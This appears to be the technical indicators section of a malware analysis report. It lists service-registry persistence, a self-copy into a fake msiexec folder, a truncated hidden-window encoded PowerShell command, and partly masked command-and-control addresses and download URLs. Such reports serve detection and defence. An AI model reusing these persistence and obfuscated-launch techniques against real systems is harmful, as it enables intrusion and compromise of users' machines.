Technical Information
- [<HKLM>\System\CurrentControlSet\Services\msidntld] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\msidntld] 'ImagePath' = '"%WINDIR%\SysWOW64\msiexec\msidntld.exe"'
- 'msidntld' "%WINDIR%\SysWOW64\msiexec\msidntld.exe"
- 'msidntld' %WINDIR%\SysWOW64\msiexec\msidntld.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKAEsAWQBYAEcAdQBoAHIAPQAnAFUAUgBCAEgAQwBzAHkAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAFIAYABpAHQAYAB5AGAAUABgAFIAbwBUAG8AYwBgAE8AbAAiAC...
- %HOMEPATH%\679.exe
- %WINDIR%\syswow64\msiexec\msidntld.exe
- from %HOMEPATH%\679.exe to %WINDIR%\syswow64\msiexec\msidntld.exe
- '17#.#7.81.212':443
- '74.##7.230.187':8080
- '19#.#64.75.175':80
- http://ye###ner.com/old/iyv0hf8926444/
- http://19#.#64.75.175/I08DfrOEa2L/sxnm/8nVn7DVqvMb/T2n4Si3xmfn8ETZJ29q/v5FHFUNFq7/vpLYy/
- DNS ASK ye###ner.com
- '%HOMEPATH%\679.exe'
- '%WINDIR%\syswow64\msiexec\msidntld.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKAEsAWQBYAEcAdQBoAHIAPQAnAFUAUgBCAEgAQwBzAHkAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAFIAYABpAHQAYAB5AGAAUABgAFIAbwBUAG8AYwBgAE8AbAAiAC...' (with hidden window)